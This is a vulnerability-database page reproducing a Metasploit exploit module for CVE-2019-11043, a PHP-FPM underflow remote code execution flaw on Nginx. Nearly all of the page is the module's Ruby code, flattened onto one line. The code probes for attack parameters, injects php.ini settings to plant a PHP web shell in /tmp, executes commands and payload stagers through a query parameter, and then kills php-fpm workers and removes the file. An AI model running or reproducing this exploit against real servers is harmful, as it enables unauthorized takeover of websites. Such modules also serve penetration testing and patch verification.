PHP-FPM 7.x Remote Code Execution

Risk: High
Local: No
Remote: Yes

## # This module requires Metasploit: # Current source: ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'PHP-FPM Underflow RCE', 'Description' => %q( This module exploits an underflow vulnerability in versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on Nginx. Only servers with certains Nginx + PHP-FPM configurations are exploitable. This is a port of the original neex's exploit code (see refs.). First, it detects the correct parameters (Query String Length and custom header length) needed to trigger code execution. This step determines if the target is actually vulnerable (Check method). Then, the exploit sets a series of PHP INI directives to create a file locally on the target, which enables code execution through a query string parameter. This is used to execute normal payload stagers. Finally, this module does some cleanup by killing local PHP-FPM workers (those are spawned automatically once killed) and removing the created local file. ), 'Author' => [ 'neex', # (Emil Lerner) Discovery and original exploit code 'cdelafuente-r7' # This module ], 'References' => [ ['CVE', '2019-11043'], ['EDB', '47553'], ['URL', ''], ['URL', ''], ['URL', ''] ], 'DisclosureDate' => "2019-10-22", 'License' => MSF_LICENSE, 'Payload' => { 'BadChars' => "&>\' " }, 'Targets' => [ [ 'PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Payload' => { 'PrependEncoder' => "php -r \"", 'AppendEncoder' => "\"" } } ], [ 'Shell Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SERVICE_RESTARTS], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options(['TARGETURI', [true, 'Path to a PHP page', '/index.php']) ]) register_advanced_options(['MinQSL', [true, 'Minimum query string length', 1500]),'MaxQSL', [true, 'Maximum query string length', 1950]),'QSLHint', [false, 'Query string length hint']),'QSLDetectStep', [true, 'Query string length detect step', 5]),'MaxQSLCandidates', [true, 'Max query string length candidates', 10]),'MaxQSLDetectDelta', [true, 'Max query string length detection delta', 10]),'MaxCustomHeaderLength', [true, 'Max custom header length', 256]),'CustomHeaderLengthHint', [false, 'Custom header length hint']),'DetectMethod', [true, "Detection method", 'session.auto_start', self.class.detect_methods.keys]),'OperationMaxRetries', [true, 'Maximum of operation retries', 20]) ]) @filename = rand_text_alpha(1) @http_param = rand_text_alpha(1) end CHECK_COMMAND = "which which" SUCCESS_PATTERN = "/bin/which" class DetectMethod attr_reader :php_option_enable, :php_option_disable def initialize(php_option_enable:, php_option_disable:, check_cb:) @php_option_enable = php_option_enable @php_option_disable = php_option_disable @check_cb = check_cb end def php_option_enabled?(res) !! end end def self.detect_methods { 'session.auto_start' => php_option_enable: 'session.auto_start=1', php_option_disable: 'session.auto_start=0', check_cb: ->(res) { res.get_cookies =~ /PHPSESSID=/ } ), 'output_handler.md5' => php_option_enable: 'output_handler=md5', php_option_disable: 'output_handler=NULL', check_cb: ->(res) { res.body.length == 16 } ) } end def send_crafted_request(path:, qsl: datastore['MinQSL'], customh_length: 1, cmd: '', allow_retry: true) uri = URI.encode(normalize_uri(target_uri.path, path)).gsub(/([?&])/, {'?'=>'%3F', '&'=>'%26'}) qsl_delta = uri.length - path.length - URI.encode(target_uri.path).length if qsl_delta.odd? fail_with Failure::Unknown, "Got odd qslDelta, that means the URL encoding gone wrong: path=#{path}, qsl_delta=#{qsl_delta}" end prefix = cmd.empty? ? '' : "#{@http_param}=#{URI.encode(cmd)}%26" qsl_prime = qsl - qsl_delta/2 - prefix.length if qsl_prime < 0 fail_with Failure::Unknown, "QSL value too small to fit the command: QSL=#{qsl}, qsl_delta=#{qsl_delta}, prefix (size=#{prefix.size})=#{prefix}" end uri = "#{uri}?#{prefix}#{'Q'*qsl_prime}" opts = { 'method' => 'GET', 'uri' => uri, 'headers' => { 'CustomH' => "x=#{Rex::Text.rand_text_alphanumeric(customh_length)}", 'Nuut' => Rex::Text.rand_text_alphanumeric(11) } } actual_timeout = datastore['HttpClientTimeout'] if datastore['HttpClientTimeout']&.> 0 actual_timeout ||= 20 connect(opts) if client.nil? || !client.conn? # By default, try to reuse an existing connection (persist option). res = client.send_recv(client.request_raw(opts), actual_timeout, true) if res.nil? && allow_retry # The server closed the connection, resend without 'persist', which forces # reconnecting. This could happen if the connection is reused too much time. # Nginx will automatically close a keepalive connection after 100 requests # by default or whatever value is set by the 'keepalive_requests' option. res = client.send_recv(client.request_raw(opts), actual_timeout) end res end def repeat_operation(op, opts={}) datastore['OperationMaxRetries'].times do |i| vprint_status("#{op}: try ##{i+1}") res = opts.empty? ? send(op) : send(op, opts) return res if res end nil end def extend_qsl_list(qsl_candidates) qsl_candidates.each_with_object([]) do |qsl, extended_qsl| (0..datastore['MaxQSLDetectDelta']).step(datastore['QSLDetectStep']) do |delta| extended_qsl << qsl - delta end end.sort.uniq end def sanity_check? datastore['OperationMaxRetries'].times do res = send_crafted_request( path: "/PHP\nSOSAT", qsl: datastore['MaxQSL'], customh_length: datastore['MaxCustomHeaderLength'] ) unless res vprint_error("Error during sanity check") return false end if res.code != @base_status vprint_error( "Invalid status code: #{res.code} (must be #{@base_status}). "\ "Maybe \".php\" suffix is required?" ) return false end detect_method = self.class.detect_methods[datastore['DetectMethod']] if detect_method.php_option_enabled?(res) vprint_error( "Detection method '#{datastore['DetectMethod']}' won't work since "\ "the PHP option has already been set on the target. Try another one" ) return false end end return true end def set_php_setting(php_setting:, qsl:, customh_length:, cmd: '') res = nil path = "/PHP_VALUE\n#{php_setting}" pos_offset = 34 if path.length > pos_offset vprint_error( "The path size (#{path.length} bytes) is larger than the allowed size "\ "(#{pos_offset} bytes). Choose a shorter php.ini value (current: '#{php_setting}')") return nil end path += ';' * (pos_offset - path.length) res = send_crafted_request( path: path, qsl: qsl, customh_length: customh_length, cmd: cmd ) unless res vprint_error("error while setting #{php_setting} for qsl=#{qsl}, customh_length=#{customh_length}") end return res end def send_params_detection(qsl_candidates:, customh_length:, detect_method:) php_setting = detect_method.php_option_enable vprint_status("Iterating until the PHP option is enabled (#{php_setting})...") customh_lengths = customh_length ? [customh_length] : (1..datastore['MaxCustomHeaderLength']).to_a qsl_candidates.product(customh_lengths) do |qsl, c_length| res = set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length) unless res vprint_error("Error for qsl=#{qsl}, customh_length=#{c_length}") return nil end if res.code != @base_status vprint_status("Status code #{res.code} for qsl=#{qsl}, customh_length=#{c_length}") end if detect_method.php_option_enabled?(res) php_setting = detect_method.php_option_disable vprint_status("Attack params found, disabling PHP option (#{php_setting})...") set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length) return { qsl: qsl, customh_length: c_length } end end return nil end def detect_params(qsl_candidates) customh_length = nil if datastore['CustomHeaderLengthHint'] vprint_status( "Using custom header length hint for max length (customh_length="\ "#{datastore['CustomHeaderLengthHint']})" ) customh_length = datastore['CustomHeaderLengthHint'] end detect_method = self.class.detect_methods[datastore['DetectMethod']] return repeat_operation( :send_params_detection, qsl_candidates: qsl_candidates, customh_length: customh_length, detect_method: detect_method ) end def send_attack_chain [ "short_open_tag=1", "html_errors=0", "include_path=/tmp", "auto_prepend_file=#{@filename}", "log_errors=1", "error_reporting=2", "error_log=/tmp/#{@filename}", "extension_dir=\"<?=`\"", "extension=\"$_GET[#{@http_param}]`?>\"" ].each do |php_setting| vprint_status("Sending php.ini setting: #{php_setting}") res = set_php_setting( php_setting: php_setting, qsl: @params[:qsl], customh_length: @params[:customh_length], cmd: "/bin/sh -c '#{CHECK_COMMAND}'" ) if res return res if res.body.include?(SUCCESS_PATTERN) else print_error("Error when setting #{php_setting}") return nil end end return nil end def send_payload disconnect(client) if client&.conn? send_crafted_request( path: '/', qsl: @params[:qsl], customh_length: @params[:customh_length], cmd: payload.encoded, allow_retry: false ) Rex.sleep(1) return session_created? ? true : nil end def send_backdoor_cleanup cleanup_command = ";echo '<?php echo `$_GET[#{@http_param}]`;return;?>'>/tmp/#{@filename}" res = send_crafted_request( path: '/', qsl: @params[:qsl], customh_length: @params[:customh_length], cmd: cleanup_command + ';' + CHECK_COMMAND ) return res if res&.body.include?(SUCCESS_PATTERN) return nil end def detect_qsl qsl_candidates = [] (datastore['MinQSL']..datastore['MaxQSL']).step(datastore['QSLDetectStep']) do |qsl| res = send_crafted_request(path: "/PHP\nabcdefghijklmopqrstuv.php", qsl: qsl) unless res vprint_error("Error when sending query with QSL=#{qsl}") next end if res.code != @base_status vprint_status("Status code #{res.code} for qsl=#{qsl}, adding as a candidate") qsl_candidates << qsl end end qsl_candidates end def check print_status("Sending baseline query...") res = send_crafted_request(path: "/path\ninfo.php") return CheckCode::Unknown("Error when sending baseline query") unless res @base_status = res.code vprint_status("Base status code is #{@base_status}") if datastore['QSLHint'] print_status("Skipping qsl detection, using hint (qsl=#{datastore['QSLHint']})") qsl_candidates = [datastore['QSLHint']] else print_status("Detecting QSL...") qsl_candidates = detect_qsl end if qsl_candidates.empty? return CheckCode::Detected("No qsl candidates found, not vulnerable or something went wrong") end if qsl_candidates.size > datastore['MaxQSLCandidates'] return CheckCode::Detected("Too many qsl candidates found, looks like I got banned") end print_good("The target is probably vulnerable. Possible QSLs: #{qsl_candidates}") qsl_candidates = extend_qsl_list(qsl_candidates) vprint_status("Extended QSL list: #{qsl_candidates}") print_status("Doing sanity check...") return CheckCode::Detected('Sanity check failed') unless sanity_check? print_status("Detecting attack parameters...") @params = detect_params(qsl_candidates) return CheckCode::Detected('Unable to detect parameters') unless @params print_good("Parameters found: QSL=#{@params[:qsl]}, customh_length=#{@params[:customh_length]}") print_good("Target is vulnerable!") CheckCode::Vulnerable end def exploit unless check == CheckCode::Vulnerable fail_with Failure::NotVulnerable, 'Target is not vulnerable.' end if @params[:qsl].nil? || @params[:customh_length].nil? fail_with Failure::NotVulnerable, 'Attack parameters not found' end print_status("Performing attack using php.ini settings...") if repeat_operation(:send_attack_chain) print_good("Success! Was able to execute a command by appending '#{CHECK_COMMAND}'") else fail_with Failure::Unknown, 'Failed to send the attack chain' end print_status("Trying to cleanup /tmp/#{@filename}...") if repeat_operation(:send_backdoor_cleanup) print_good('Cleanup done!') end print_status("Sending payload...") repeat_operation(:send_payload) end def send_cleanup(cleanup_cmd:) res = send_crafted_request( path: '/', qsl: @params[:qsl], customh_length: @params[:customh_length], cmd: cleanup_cmd ) return res if res && res.code != @base_status return nil end def cleanup return unless successful kill_workers = 'for p in `pidof php-fpm`; do kill -9 $p;done' rm = "rm -f /tmp/#{@filename}" cleanup_cmd = kill_workers + ';' + rm disconnect(client) if client&.conn? print_status("Remove /tmp/#{@filename} and kill workers...") if repeat_operation(:send_cleanup, cleanup_cmd: cleanup_cmd) print_good("Done!") else print_bad( "Could not cleanup. Run these commands before terminating the session: "\ "#{kill_workers}; #{rm}" ) end end end

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020,


Back to Top